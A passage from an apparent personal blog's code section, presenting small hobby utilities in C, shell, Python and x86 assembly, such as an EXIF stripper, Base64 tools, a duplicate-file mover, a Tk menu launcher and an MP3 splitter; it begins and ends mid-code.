int main(int argc, char *argv[])
{
  int c, maxy, maxx;
  char line[TEXT_LIMIT], *p;
  FILE *fh;

  if (argc != 2) {
    printf("Usage: %s <file with menu lines>\n", argv[0]);
    return 0;
  }

  fh = fopen(argv[1], "r");
  if (fh == NULL) {
    printf("Error: Unable to open menu file for reading.\n");
    return 0;
  }

  while (fgets(line, TEXT_LIMIT, fh) != NULL) {
    for (p = line; *p != '\0'; p++) {
      if ((*p == '\r') || (*p == '\n')) {
        *p = '\0';
        break;
      }
    }
    strncpy(list[list_size], line, TEXT_LIMIT);
    list_size++;
    if (list_size == ENTRY_LIMIT)
      break;
  }
  fclose(fh);

  signal(SIGINT, interrupt_handler);

  initscr();
  atexit(exit_handler);
  noecho();
  keypad(stdscr, TRUE);

  while (1) {
    update_screen();
    getmaxyx(stdscr, maxy, maxx);
    c = getch();

    switch (c) {
    case KEY_RESIZE:
      /* Use this event instead of SIGWINCH for better portability. */
      winch_handler();
      break;

    case KEY_UP:
      selected_entry--;
      if (selected_entry < 0)
        selected_entry++;
      if (scroll_offset > selected_entry) {
        scroll_offset--;
        if (scroll_offset < 0)
          scroll_offset = 0;
      }
      break;

    case KEY_DOWN:
      selected_entry++;
      if (selected_entry >= list_size)
        selected_entry--;
      if (selected_entry > maxy - 1) {
        scroll_offset++;
        if (scroll_offset > selected_entry - maxy + 1)
          scroll_offset--;
      }
      break;

    case KEY_NPAGE:
      scroll_offset += maxy / 2;
      while (maxy + scroll_offset > list_size)
        scroll_offset--;
      if (scroll_offset < 0)
        scroll_offset = 0;
      if (selected_entry < scroll_offset)
        selected_entry = scroll_offset;
      break;

    case KEY_PPAGE:
      scroll_offset -= maxy / 2;
      if (scroll_offset < 0)
        scroll_offset = 0;
      if (selected_entry > maxy + scroll_offset - 1)
        selected_entry = maxy + scroll_offset - 1;
      break;

    case KEY_ENTER:
    case '\n':
    case '\r':
      /* Need to start at 1 to differentiate between a valid selection
         and other kinds of exits, that returns 0. */
      return selected_entry + 1;

    case '\e': /* Escape */
    case 'Q':
    case 'q':
      return 0;
    }

  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 15/01-2011, Article Link

EXIF Remover

It would seem that some websites have started to use over-zealous (and faulty) detection algorithms when uploading images. I have had problems uploading images that are rotated 90 degrees, because the websites in question decides to look at the EXIF data in the JPEG images instead of the actual bitmap, and then counter-rotates the images! To fix this problem, I have made a simple program to just strip away all the EXIF data in a JPEG image.

Here is the C code:

#include <stdio.h>

int main(void)
{
  int c, jpeg_marker_found, length_low, length_high, in_exif;

  jpeg_marker_found = in_exif = 0;
  while ((c = fgetc(stdin)) != EOF) {

    if (in_exif > 0) {
      in_exif--;
      continue;
    }

    if (jpeg_marker_found && c == 0xE1) { /* APP1 marker, used by EXIF. */
      if ((length_high = fgetc(stdin)) == EOF)
        return 1;
      if ((length_low = fgetc(stdin)) == EOF)
        return 1;
      /* Remove one byte to avoid printing the next marker's first 0xFF... */
      in_exif = length_low + (length_high * 0x100) - 1;
      /* ...and this marker's 0xE1 will also not be printed. */
    } else {
      fputc(c, stdout);
    }

    jpeg_marker_found = (c == 0xFF) ? 1 : 0;
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 11/12-2010, Article Link

Base64 Decoder and Encoder

I looked through my old code collection and found the source code for these two small tools that will encode and decode Base64 files, in the MIME compatible format.

Here is the decoder code:

#include <stdio.h>

enum
{
  MIME_62 = '+',
  MIME_63 = '/',
  MIME_PADDING = '=',
  MIME_ERROR_NUMBER = 64, /* Not valid base64 number. */
};

/* mime_to_base64: Convert MIME compatible ASCII character to number. */
int mime_to_base64(int n)
{
  if (n >= 0x60) /* Lowercase letters */
    return n - 0x47;
  else if (n >= 0x40) /* Uppercase letters */
    return n - 0x41;
  else if (n >= 0x30) /* Numbers */
    return n + 0x4;
  else if (n == MIME_62)
    return 62;
  else if (n == MIME_63)
    return 63;
  else
    return MIME_ERROR_NUMBER; /* Unkown (Skip) */
}

/* main: Input and output filter. */
int main(void)
{
  int c, n, i;
  unsigned char ascii[3];  /* 24-bit buffer */
  unsigned char base64[4]; /* 4 characters */

  n = 0;
  while ((c = fgetc(stdin)) != EOF) {
    if ((base64[n] = mime_to_base64(c)) == MIME_ERROR_NUMBER)
      continue; /* Unkown character (e.g. newline), skip it. */
    if (c == MIME_PADDING) /* No need to get more data. */
      break;
    if (n == 3) { /* Buffer full, time to output. */
      ascii[0] = base64[0] << 2;
      ascii[0] += (base64[1] & 0x30) >> 4;   /* 110000 */
      ascii[1] = (base64[1] & 0xf) << 4;     /* 001111 */
      ascii[1] += ((base64[2] & 0x3c) >> 2); /* 111100 */
      ascii[2] = ((base64[2] & 0x3) << 6);   /* 000011 */
      ascii[2] += base64[3]; 

      for (i = 0; i < 3; i++) {
        fputc(ascii[i], stdout);
      }
      n = 0;
    } else
      n++;
  }

  /* Check for remaining data in buffer. */
  if (n == 2) { /* Two paddings, one character missing. */
    ascii[0] = base64[0] << 2;
    ascii[0] += (base64[1] & 0x30) >> 4;
    fputc(ascii[0], stdout);
  } else if (n == 3) { /* One padding, two characters missing. */
    ascii[0] = base64[0] << 2;
    ascii[0] += (base64[1] & 0x30) >> 4;
    ascii[1] = (base64[1] & 0xf) << 4;
    ascii[1] += ((base64[2] & 0x3c) >> 2);
    fputc(ascii[0], stdout);
    fputc(ascii[1], stdout);
  }
  
  return 0;
}
          


And here is the encoder code:

#include <stdio.h>

enum
{
  MIME_62 = '+',
  MIME_63 = '/',
  MIME_PADDING = '=',
};

/* base64_to_mime: Convert number to MIME compatible ASCII character. */
int base64_to_mime(int n)
{
  if (n == 63)
    return MIME_63;
  else if (n == 62)
    return MIME_62;
  else if (n > 51) /* Numbers */
    return n - 0x4;
  else if (n > 25) /* Lowercase letters */
    return n + 0x47;
  else /* Uppercase letters */
    return n + 0x41;
}

/* main: Input and output filter. */
int main(void)
{
  int c, n, i;
  unsigned char ascii[3];  /* 24-bit buffer */
  unsigned char base64[4]; /* 4 characters */

  n = 0;
  while ((c = fgetc(stdin)) != EOF) {
    ascii[n] = c;
    if (n == 2) { /* Buffer full, time to output. */
      base64[0] = ascii[0] >> 2;
      base64[1] = (ascii[1] >> 4) & 0xf;     /* 00001111 */
      base64[1] += ((ascii[0] & 0x3) << 4);  /* 00000011 */
      base64[2] = (ascii[1] << 2) & 0x3c;    /* 00111100 */
      base64[2] += ((ascii[2] & 0xc0) >> 6); /* 11000000 */
      base64[3] = ascii[2] & 0x3f;           /* 00111111 */

      for (i = 0; i < 4; i++) {
        fputc(base64_to_mime(base64[i]), stdout);
      }
      n = 0;
    } else
      n++;
  }

  /* Check for remaining data in buffer. */
  if (n == 1) {
      base64[0] = ascii[0] >> 2;
      base64[1] = (ascii[0] & 0x3) << 4;
      fputc(base64_to_mime(base64[0]), stdout);
      fputc(base64_to_mime(base64[1]), stdout);
      fputc(MIME_PADDING, stdout);
      fputc(MIME_PADDING, stdout);
  } else if (n == 2) {
      base64[0] = ascii[0] >> 2;
      base64[1] = (ascii[1] >> 4) & 0xf;
      base64[1] += ((ascii[0] & 0x3) << 4);
      base64[2] = (ascii[1] << 2) & 0x3c;
      fputc(base64_to_mime(base64[0]), stdout);
      fputc(base64_to_mime(base64[1]), stdout);
      fputc(base64_to_mime(base64[2]), stdout);
      fputc(MIME_PADDING, stdout);
  }
  
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 14/05-2010, Article Link

Image Scaler Script

When uploading images taken with a digital camera to the interwebs, I always want to scale/resize it to a smaller size. To automate this process is of course a no-brainer, but the trick is to consider the aspect of the image. I like to use the size 800x600, but images taken with a 90 degree angle on the camera should be resized to 600x800 instead.

This bourne shell script uses ImageMagick to do the job:

#!/bin/sh

for i in "$@"; do
  INFO=`identify "$i"` || continue;
  WIDTH=` echo "$INFO" | sed -r -e 's/.* ([0-9]+)x[0-9]+ .*/\1/'`
  HEIGHT=`echo "$INFO" | sed -r -e 's/.* [0-9]+x([0-9]+) .*/\1/'`
  if [ $WIDTH -ge $HEIGHT ]; then
    echo "$i: W > H"
    mogrify -scale 800x600 "$i"
  else
    echo "$i: H > W"
    mogrify -scale 600x800 "$i"
  fi
done
          


Topic: Scripts and Code, by Kjetil @ 01/03-2010, Article Link

Duplicate File Remover

Here is a long bourne shell one-liner I hacked together to (re)move duplicate files from a directory structure:

mkdir "./duplicate" && find . -type f -exec md5sum {} \; | \
sort | uniq -D -w 32 | awk '{ print $1, length, $2 }' | \
sort -n | awk '($1 == x) { print $1, $3 } ($1 != x) { x = $1 }' | \
cut -b 33- | xargs -I {} mv -v {} "./duplicate"
          

I could have used perl or python, but that is not as fun or challenging!

The weirdest part is the use of awk to print the length of the line in between the MD5 sum and the filename. This is required to be able to sort so that the files with the longest paths are printed last. This in turn makes sure that files deeper down in the directory structure will be moved instead. The other awk part will remove the first line in a series of identical MD5 sums, this is required because one file will of course have to remain in the directory structure!

I prefer to move (mv) the files instead of actually removing (rm) them, so everything can be double checked afterwards.

By the way, this one-liner can be used to remove any remaining empty directories in the structure:

find . -type d | sort -r | xargs rmdir --ignore-fail-on-non-empty
          


Topic: Scripts and Code, by Kjetil @ 22/02-2010, Article Link

Random Line Filter

This is a special tool I hacked together to solve a very specific problem. It is basically a filter that will select one random line of the input and print it. The naive way of solving this would be to store all the lines in memory and then randomly select one of them, but the problem with this method is it's O(n) memory usage. Fortunately, I discovered another interesting algorithm that does the same thing, but with O(1) memory usage, and yet provides perfectly balanced randomness.

Take a look at the code:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <limits.h>

int consume_line(FILE *fh)
{
  int c;
  while ((c = fgetc(fh)) != EOF) {
    if (c == '\n')
      return 0;
  }
  return -1;
}

int main(void)
{
  char file[PATH_MAX];
  int eof = 0, count = 2;

  srandom(time(NULL));

  if (fgets(file, PATH_MAX, stdin) == NULL)
    return 1;

  while (! eof) {
    if (random() % count == 0) {
      if (fgets(file, PATH_MAX, stdin) == NULL)
        eof = 1;
    } else {
      if (consume_line(stdin) == -1)
        eof = 1;
    }
    count++;
  }

  printf("%s", file);
  return 0;
}
          


The tool can provide a simple way of playing random MP3 files, without the need for a shuffle function in the playback program. Like this example, using mplayer:

while true; do mplayer "`find . -name "*.mp3" | ./randline`"; done
          


This was the original intention of the tool, but I later discovered that mplayer does in fact have a shuffle mode! Well, it's too late now, as the tool has already been created.

Topic: Scripts and Code, by Kjetil @ 12/12-2009, Article Link

Colorized Character Dumper

I have noticed that when i use the hexdump tool, it is most often together with the -C option just to look at the characters. Hexdump is a bit limited, so I decided to make another tool specialized for character dumping. Instead of just printing a dot for non-printable characters, this tool will use a colorized printable character. Escape characters for instance, are represented in green. The tool also tries to use as much terminal real-estate as possible, so it will look at the current column width to expand itself.

Here is how it looks when dumping a binary file. (Actually itself.):

Screenshot in an xterm.


To keep it simple, I just used the standard ANSI way of drawing colors. An alternative would have been to use (n)curses. Check out the code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>

static void fputc_color(int c, FILE *fh)
{
  /* Based on vim's "unprintable" definition instead of ctype's isprint(). */

  if (c < 0x20) /* Escape characters. */
    fprintf(fh, "\e[32m%c\e[0m", c + 0x40);
  else if (c < 0x7F) /* Standard ASCII characters. */
    fputc(c, fh);
  else if (c == 0x7F) /* The DEL character. */
    fprintf(fh, "\e[32m%c\e[0m", '?');
  else if (c < 0xA1) /* Special unprintable characters and the NBSP. */
    fprintf(fh, "\e[31m%c\e[0m", c - 0x40);
  else /* "High" (Latin-1) characters. */
    fprintf(fh, "\e[33m%c\e[0m", c);
}

static void dump_file(FILE *fh, int columns, int in_color)
{
  int c, n;

  columns -= 12; /* Subtract the extra visualization. */
  n = 0;
  while ((c = fgetc(fh)) != EOF) {
    if (n % columns == 0) {
      if (n > 0)
        printf("|\n");
      printf("%08x |", n);
    }

    if (in_color) {
      fputc_color(c, stdout);
    } else {
      if (isprint(c))
        fputc(c, stdout);
      else
        fputc('.', stdout);
    }

    n++;
  }

  if (n % columns < columns)
    printf("|\n");
}

static void display_banner(char *text, int columns)
{
  int i;

  printf("--- %s ", text);
  for (i = (strlen(text) + 5); i < columns; i++)
    printf("-");
  printf("\n");
}

int main(int argc, char *argv[])
{
  int i, columns, in_color; 
  char *p;
  FILE *fh;

  p = getenv("COLUMNS");
  if (p == NULL)
    columns = 80; /* Default, and most likely. */
  else
    columns = atoi(p);

  in_color = 0; 
  if (isatty(STDOUT_FILENO)) {
    p = getenv("TERM");
    if (p != NULL) {
      if (strncmp(p, "xterm", 5) == 0)
        in_color = 1;
    }
  }

  if (argc > 1) {
    for (i = 1; i < argc; i++) {
      fh = fopen(argv[i], "r");
      if (fh == NULL)
        continue;
      if (argc > 2)
        display_banner(argv[i], columns);
      dump_file(fh, columns, in_color);
      fclose(fh);
    }
  } else
    dump_file(stdin, columns, in_color);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 20/06-2009, Article Link

Python Menu System

To fit my specific requirements for a media center PC, I made a simple custom menu system. I also used the opportunity to learn some Python in the process. Basically, it reads a textual configuration file and sets up a graphical menu using Tk. The menu entries will execute a specific command when clicked, and can be wrapped in a file or numeric selection mechanism, if required.

Sorry for not using objects in the code, and I will admit that it's ugly with global variables in Python. But I'm a C-guy, and old habits die hard. :-)

#!/usr/bin/python

import sys
import os
import Tkinter
import tkFileDialog



_num_value = 1
_num_label = None
_num_top = None



def read_config_file(path):
  try:
    fh = open(path, "r")
    list = []
    for s in fh:
      list.append(s.split("#"))
    return list
  except IOError:
    print "Error: Unable to open config file for reading!"
    return None



def menu_direct(command):
  print "Info: Direct execute: " + command
  os.system(command)



def num_increment():
  global _num_value, _num_label
  _num_value += 1
  _num_label.config(text=str(_num_value))

def num_decrement():
  global _num_value, _num_label
  _num_value -= 1
  _num_label.config(text=str(_num_value))

def num_exec(command):
  global _num_value, _num_top
  new = command.replace("$", str(_num_value))
  print "Info: Num execute: " + new
  os.system(new)
  _num_top.destroy()

def menu_num_select(command):
  global _num_top, _num_label, _num_value

  _num_top = Tkinter.Tk()

  label = Tkinter.Label(_num_top, text="Number:")
  label.pack(fill="x", expand=True)

  plus = Tkinter.Button(_num_top, text="+", command=num_increment)
  plus.pack(fill="x", expand=True)

  _num_label = Tkinter.Label(_num_top, text=str(_num_value))
  _num_label.pack(fill="x", expand=True)

  plus = Tkinter.Button(_num_top, text="-", command=num_decrement)
  plus.pack(fill="x", expand=True)

  f = lambda x = command: num_exec(x)
  go = Tkinter.Button(_num_top, text="GO!", command=f)
  go.pack(fill="x", expand=True)

  Tkinter.mainloop()
 


def menu_file_select(command):
  file = tkFileDialog.askopenfilename()
  if file == ():
    return
  new = command.replace("$", str(file))
  print "Info: File execute: " + new
  os.system(new)



def main():
  if len(sys.argv) != 2:
    print "Usage: %s <config file>" % sys.argv[0]
    sys.exit(1)

  list = read_config_file(sys.argv[1])
  if list == None:
    sys.exit(1)

  top = Tkinter.Tk()
  for sublist in list:
    if sublist[0] == "Direct":
      # NOTE: This does not work:
      # f = lambda: menu_direct(sublist[2])
      f = lambda x = sublist[2]: menu_direct(x)
    elif sublist[0] == "NumSelect":
      f = lambda x = sublist[2]: menu_num_select(x)
    elif sublist[0] == "FileSelect":
      f = lambda x = sublist[2]: menu_file_select(x)
    else:
      print "Error: Unknown menu type!"
      sys.exit(1)
    button = Tkinter.Button(top, text=sublist[1], command=f)
    button.pack(fill="x", expand=True)

  Tkinter.mainloop()



if __name__ == "__main__":
  main()
          


Here is a typical config file (not very unlike the one I currently use):

FileSelect#Play File#/usr/bin/xine -pfq "$"
NumSelect#Play DVD#/usr/local/bin/mplayer -fs -zoom dvd://$
Direct#Power Off#/sbin/poweroff
          


I used to use tabulators instead of '#' characters to separate the columns, but this really messes up any copy/paste/transfer, etc, so I just had to pick a character that is unlikely to be used in a command. Please just change the code if you don't like it. The '$' characters, are interpolated with the value from the file or numeric selection mechanism.

The final graphical representation of the menu will actually depend heavily on what version of Tk is installed, what window manager is used and font is used as default. Here is how it looks on one of my systems:

Python menu in fluxbox.


Topic: Scripts and Code, by Kjetil @ 03/05-2009, Article Link

Number Conversion Tool

Here is another homemade tool that I use when dealing with numbers during programming, analysis, etc. The program will simply output its argument in decimal, hex and binary notation. The argument can be specified in any of the three notations by prefixing the number with 0x or 0b, or no prefix for decimal numbers. There is also support for specifying addition (+), subtraction (-) or xor (^), and then a second number to perform this operation.

The code is loosely based on the binary dumping tool presented earlier, and can be found here:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int power_of_two(int n)
{
  if (n == 0)
    return 1;
  else
    return 2 * power_of_two(n - 1);
}

static char *convert_to_bin(int integer)
{
  static char buffer[33]; /* Should not be longer than 32-bits + NULL. */
  int i, first_one;

  buffer[32] = '\0'; /* Always terminate. */

  first_one = 31;
  for (i = 31; i >= 0; i--) {
    if (integer - power_of_two(i) >= 0) {
      buffer[31 - i] = '1';
      if (first_one > (31 - i))
        first_one = (31 - i);
      integer -= power_of_two(i);
    } else
      buffer[31 - i] = '0';
  }

  return &buffer[first_one];
}

static int convert_from_bin(char *number)
{
  int value, n;
  char *p;

  value = 0; 
  n = strlen(number) - 3; /* Also minus "0b". */
  p = &number[2];
  do {
    if (*p == '0') {
      n--;
    } else if (*p == '1') {
      value += power_of_two(n);
      n--;
    }
  } while (*p++ != '\0');

  return value;
}

static int convert_to_int(char *number)
{
  int integer;

  if (strncmp(number, "0x", 2) == 0) {
    sscanf(number, "0x%x", &integer);
  } else if (strncmp(number, "0b", 2) == 0) { 
    integer = convert_from_bin(number);
  } else {
    integer = atoi(number);
  }
  
  return integer;
}

static void display_int(int integer, char *prefix)
{
  printf("%s%-10u 0x%-10x 0b%s\n",
    prefix, integer, integer, convert_to_bin(integer));
}

int main(int argc, char *argv[])
{
  int n1, n2, result;
  char *prefix;

  if (argc == 2) { /* Just display the number in different forms. */
    n1 = convert_to_int(argv[1]);
    display_int(n1, "   ");

  } else if (argc == 4) { /* Perform extra operation. */
    n1 = convert_to_int(argv[1]);
    n2 = convert_to_int(argv[3]);
    if (argv[2][0] == '+') {
      result = n1 + n2;
      prefix = " + ";
    } else if (argv[2][0] == '-') {
      result = n1 - n2;
      prefix = " - ";
    } else if (argv[2][0] == '^') {
      result = n1 ^ n2;
      prefix = " ^ ";
    } else {
      fprintf(stderr, "%s: error: invalid operator.\n", argv[0]);
      return -1;
    }
    display_int(n1, "   ");
    display_int(n2, prefix);
    display_int(result, " = ");

  } else {
    fprintf(stderr, "Usage: %s <number> [<+|-|^> <number>]\n", argv[0]);
    fprintf(stderr, "  number can be decimal, hex (0x) or binary (0b)\n");
    return -1;
  }
   
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 06/04-2009, Article Link

RPN FPU Calculator

Just for fun, I wrote a RPN (Reverse Polish Notation) calculator in x86 assembler. It uses the FPU (Floating-Point Unit) for all the calculations, and some common C-library calls for input/output.

It only supports the basic arithmetic operations like addition, subtraction, multiplication and division, and only operates on integers. I have tried to emulate the basic behaviour of the common dc Unix command-line RPN calculator, so it will print the result when getting a 'p', and quit on a 'q'. Also be aware that it expects each operator or operand on a single line by itself.

It is written using AT&T syntax and will probably only assemble/link on Linux x86/i386 platforms. Check out the code:

/* 
 * Assembling and linking commands:
 * as -o fpu-rpn.o fpu-rpn.s
 * ld -dynamic-linker /lib/ld-linux.so.2 -lc -o fpu-rpn fpu-rpn.o
*/


.section .data
output_format:
  .asciz "%d\n"
error_input:
  .asciz "Error: Unknown input.\n"
error_stack:
  .asciz "Error: Stack empty.\n"


.section .bss
  .lcomm input, 16
  .lcomm buffer, 4
  .lcomm status, 2


.section .text
.globl _start
_start:
  finit

read_input:
  pushl stdin
  pushl $16
  pushl $input
  call fgets
  addl $12, %esp

  /* End if EOF is reached (fgets returns NULL). */
  cmpl $0, %eax
  je end

  /* Extract first character of returned input string. */
  movl (%eax), %ebx

  /* Clear any errors on the FPU each round. */
  fclex

  /* Switch-case like check on the input. */
  cmpb $0x71, %bl # 'q'
  je end
  cmpb $0x70, %bl # 'p'
  je display_result
  cmpb $0x2B, %bl # '+'
  je addition
  cmpb $0x2D, %bl # '-'
  je subtraction
  cmpb $0x2A, %bl # '*'
  je multiplication
  cmpb $0x2F, %bl # '/'
  je division

  /* Check if between 0-9 to determine if it's a number. */
  cmpb $0x30, %bl # '0'
  jl input_error
  cmpb $0x39, %bl # '9'
  jg input_error

  /* Convert number from string and push onto FPU's stack. */
  pushl %eax
  call atoi
  addl $4, %esp
  movl %eax, buffer
  filds buffer
  jmp read_input

input_error:
  push stdout
  push $error_input
  call fputs
  addl $8, %esp
  jmp read_input


addition:
  faddp
  jmp check_stack

subtraction:
  fsubrp
  jmp check_stack

multiplication:
  fmulp
  jmp check_stack

division:
  fdivrp
  jmp check_stack

check_stack:
  fstsw status
  testw $0b1000000, status /* Test for "Stack Fault" flag. */
  jz read_input

  fdecstp /* Decrement stack to avoid displaying the fake result. */
  push stdout
  push $error_stack
  call fputs
  addl $8, %esp
  jmp read_input


display_result:
  /* Display the value at the top of the FPU's stack. */
  fistpl buffer
  fstsw status
  testw $0b1000000, status
  jnz read_input /* Just do the check again to receive error messsage. */

  pushl buffer
  pushl $output_format
  call printf
  addl $8, %esp
  jmp read_input


end:
  /* Tell the Linux kernel to end this process. */
  movl $1, %eax # exit()
  movl $0, %ebx
  int $0x80
          


Topic: Scripts and Code, by Kjetil @ 13/02-2009, Article Link

Byte Value Visualization

While doing cryptanalysis on some XOR-encrypted files, I came up with the idea of visualizing byte values in these files in order to discover patterns. Having used the SDL library on previous projects, this was a good candidate to draw the graphics.

Here is an output example, visualizing the source code of this application:

Visualization of a text file.

It is easy to see that this is a plain text file, since there are mostly printable ASCII characters in the 0x20 to 0x7F area. You can also see the low-value newline characters (0x0A) clearly.

Here is another example, visualizing the application in binary form after compilation:

Visualization of a binary file.

This is clearly not human-readable text, as there is a lot of NULL (0x00) bytes, and some bytes with very high values (0xFF).

I believe it's a lot easier to spot patterns this way, instead of using a hex editor. The application reads data (byte values) from standard in and stops after 1024 bytes or EOF.

But enough talk, here is the source code:

#include <stdio.h>
#include <stdlib.h>
#include <SDL/SDL.h>

#define MAX_DATA 1024

int main(int argc, char *argv[])
{
  int c, n;
  unsigned char data[MAX_DATA];
  SDL_Surface *screen;
  SDL_Rect rect;
  SDL_Event event;

  n = 0;
  while ((c = fgetc(stdin)) != EOF) {
    data[n] = c;
    n++;
    if (n >= MAX_DATA)
      break;
  }

  if (SDL_Init(SDL_INIT_VIDEO) != 0) {
    fprintf(stderr, "Error: Unable to initalize SDL: %s\n", SDL_GetError());
    return 1;
  }
  atexit(SDL_Quit);

  screen = SDL_SetVideoMode(n, 255, 16, SDL_DOUBLEBUF);
  if (screen == NULL) {
    fprintf(stderr, "Error: Unable to set video mode: %s\n", SDL_GetError());
    return 1;
  }

  for (n = n - 1; n >= 0; n--) {
    rect.x = n;
    rect.y = 255 - data[n];
    rect.w = 1;
    rect.h = data[n];
    SDL_FillRect(screen, &rect, 0xffffff);
  }
  SDL_Flip(screen);

  while (1) {
    if (SDL_PollEvent(&event) == 1) {
      if (event.type == SDL_KEYDOWN) {
        if (event.key.keysym.sym == SDLK_q)
          break;
      } else if (event.type == SDL_QUIT) {
        break;
      }
    }
    SDL_Delay(50);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 24/01-2009, Article Link

MP3 Cutting Tool

It is not uncommon to have a (dumb) MP3-player that fast-forwards at a static speed, regardless of the file size/length. This is very annoying when you want to skip ahead in a pod-cast or audio-book file that lasts for over an hour. To overcome this problem, I decided to make a tool to split/cut MP3 files into smaller parts.

In order to correctly cut MP3 files, you need to know exactly where the frame boundaries are, and perform the incisions there. This tool will find the boundaries and calculate where to cut, based on the number of parts the user has specified as input.

Note that ID3 tags will not be replicated in any way, so they will probably remain in only one of the produced parts.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <limits.h>



static int bitrate_matrix[16][5] = {
  {0,   0,   0,   0,   0},
  {32,  32,  32,  32,  8},
  {64,  48,  40,  48,  16},
  {96,  56,  48,  56,  24},
  {128, 64,  56,  64,  32},
  {160, 80,  64,  80,  40},
  {192, 96,  80,  96,  48},
  {224, 112, 96,  112, 56},
  {256, 128, 112, 128, 64},
  {288, 160, 128, 144, 80},
  {320, 192, 160, 160, 96},
  {352, 224, 192, 176, 112},
  {384, 256, 224, 192, 128},
  {416, 320, 256, 224, 144},
  {448, 384, 320, 256, 160},
  {0,   0,   0,   0,   0}};

static int sampling_matrix[4][3] = {
  {44100, 22050, 11025},
  {48000, 24000, 12000},
  {32000, 16000, 8000},
  {0,     0,     0}};



static int decode_header(unsigned char *header)
{
  int version, layer, padding;
  int bitrate_row, bitrate_col, sampling_row, sampling_col;

  version = (header[1] & 0x08) >> 3; /* MPEG version. */
  layer = (header[1] & 0x06) >> 1; /* MPEG layer. */

  bitrate_row = (header[2] & 0xf0) >> 4;
  bitrate_col = -1;
  if (version == 1) {
    if (layer == 3)      /* I */
      bitrate_col = 0;
    else if (layer == 2) /* II */
      bitrate_col = 1;
    else if (layer == 1) /* III */
      bitrate_col = 2;
  } else { /* Version 2 */
    if (layer == 3)      /* I */
      bitrate_col = 3;
    else if (layer == 2) /* II */
      bitrate_col = 4;
    else if (layer == 1) /* III */
      bitrate_col = 4;
  }

  sampling_row = (header[2] & 0x0c) >> 2;
  sampling_col = (version == 0) ? 1 : 0;

  padding = (header[2] & 0x02) >> 1;

  if (sampling_matrix[sampling_row][sampling_col] == 0)
    return -1; /* Cannot divide by zero. */

  if (layer == 3) /* I */
    return (12 * (bitrate_matrix[bitrate_row][bitrate_col] * 1000) /
      sampling_matrix[sampling_row][sampling_col] + (padding * 4)) * 4;
  else if (layer == 2 || layer == 1) /* II or III */
    return 144 * (bitrate_matrix[bitrate_row][bitrate_col] * 1000) /
      sampling_matrix[sampling_row][sampling_col] + padding;
  else
    return -1;
}



static int read_frames(FILE *src, FILE *dst, int frame_limit)
{
  int c, n, frame_length, no_of_frames;
  unsigned char quad[4];

  quad[0] = quad[1] = quad[2] = quad[3] = '\0';

  frame_length = n = no_of_frames = 0;
  while ((c = fgetc(src)) != EOF) {
    if (dst != NULL)
      fputc(c, dst);
  
    if (frame_length > 0) {
      frame_length--;
      n++;

      /* While cutting the file, a frame limit is specified to stop reading. */
      if (frame_limit > 0) {
        if (frame_length == 0 && no_of_frames == frame_limit)
          return no_of_frames; /* Return early, but filehandle must be left
                                  intact by the caller to continue at the right
                                  spot! */
      }

      /* Skip ahead in stream to avoid reading garbage. */
      continue;
    }

    /* Have a potential header ready for each read. */
    quad[0] = quad[1];
    quad[1] = quad[2];
    quad[2] = quad[3];
    quad[3] = c;

    /* Match frame sync. */
    if ((quad[0] == 0xff) && ((quad[1] & 0xf0) == 0xf0)) {
      no_of_frames++;
      frame_length = decode_header(quad) - 4;
      quad[0] = quad[1] = quad[2] = quad[3] = '\0';
    }

    n++;
  }
  
  return no_of_frames;
}



int main(int argc, char *argv[])
{
  int i, no_of_frames, parts, limit;
  FILE *src, *dst;
  char filename[PATH_MAX]; /* POSIX limit. */

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <mp3-file> <no-of-parts>\n", argv[0]);
    return 1;
  }

  parts = atoi(argv[2]);
  if (parts == 0) {
    fprintf(stderr, "Error: Invalid number of parts specified.\n");
    return 1;
  }

  src = fopen(argv[1], "r");
  if (src == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading: %s\n",
      strerror(errno));
    return 1;
  }

  no_of_frames = read_frames(src, NULL, 0);
  if (parts > no_of_frames) {
    fprintf(stderr, "Error: More parts than available frames specified.\n");
    fclose(src);
    return 1;
  }

  rewind(src);

  for (i = 1; i <= parts; i++) {
    snprintf(filename, sizeof(filename), "%s.%02d", argv[1], i);

    dst = fopen(filename, "w");
    if (dst == NULL) {
      fprintf(stderr, "Error: Unable to open file for writing: %s\n",
        strerror(errno));
      fclose(src);
      return 1;
    }

    if (i == parts)
      limit = 0; /* Make sure all frames are read on the last part,
                    rounding errors in the formula prevents this. */
    else
      limit = no_of_frames / parts;

    fprintf(stderr, "%02d: %s: %d\n", i, filename, 
      read_frames(src, dst, limit));

    fclose(dst);
  }

  fclose(src);
  return 0;
}
          


You will notice that the tool creates file names ending in 01, 02, etc. If this is a problem for you (or your MP3-player), simply issue a shell command like this (swaps the ".mp3" and the number):

for i in *.mp3*; do mv "$i" "${i/.mp3/}.mp3"; done
          


Topic: Scripts and Code, by Kjetil @ 04/01-2009, Article Link

Binary Dumping Tool

Here is a homemade tool that I use when dealing with binary files. The tool will convert binary files to its binary textual representation (like 0011010000110010) and back. It can also convert to hexadecimal representation and back.

The tool is typically used for analysis (look for patterns during cryptography, steganography, etc.) or to do transformations. By transformations I mean converting to e.g. hex, change the data with some other tool and then covert back to binary.

I find the source code to be too short to be considered an "application" (with a licence), so I will just post the code directly into the public domain:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

typedef enum {
  CONV_NONE,
  CONV_TO_HEX,
  CONV_FROM_HEX,
  CONV_TO_BIN,
  CONV_FROM_BIN,
} conv_t;

static void display_help(void)
{
  fprintf(stderr, "\nOptions:\n"
     "  -h        Display this help and exit.\n"
     "  -s        Enable strict mode:\n"
     "              Disables formated output when converting 'to' or\n"
     "              warns about unknown characters when converting 'from'.\n"
     "  -o FILE   Write output to FILE instead of standard out.\n"
     "  -b        Convert to binary representation.\n"
     "  -B        Convert from binary representation.\n"
     "  -x        Convert to hex representation.\n"
     "  -X        Convert from hex representation.\n\n");
}

static int power_of_two(int n)
{
  if (n == 0)
    return 1;
  else
    return 2 * power_of_two(n - 1);
}

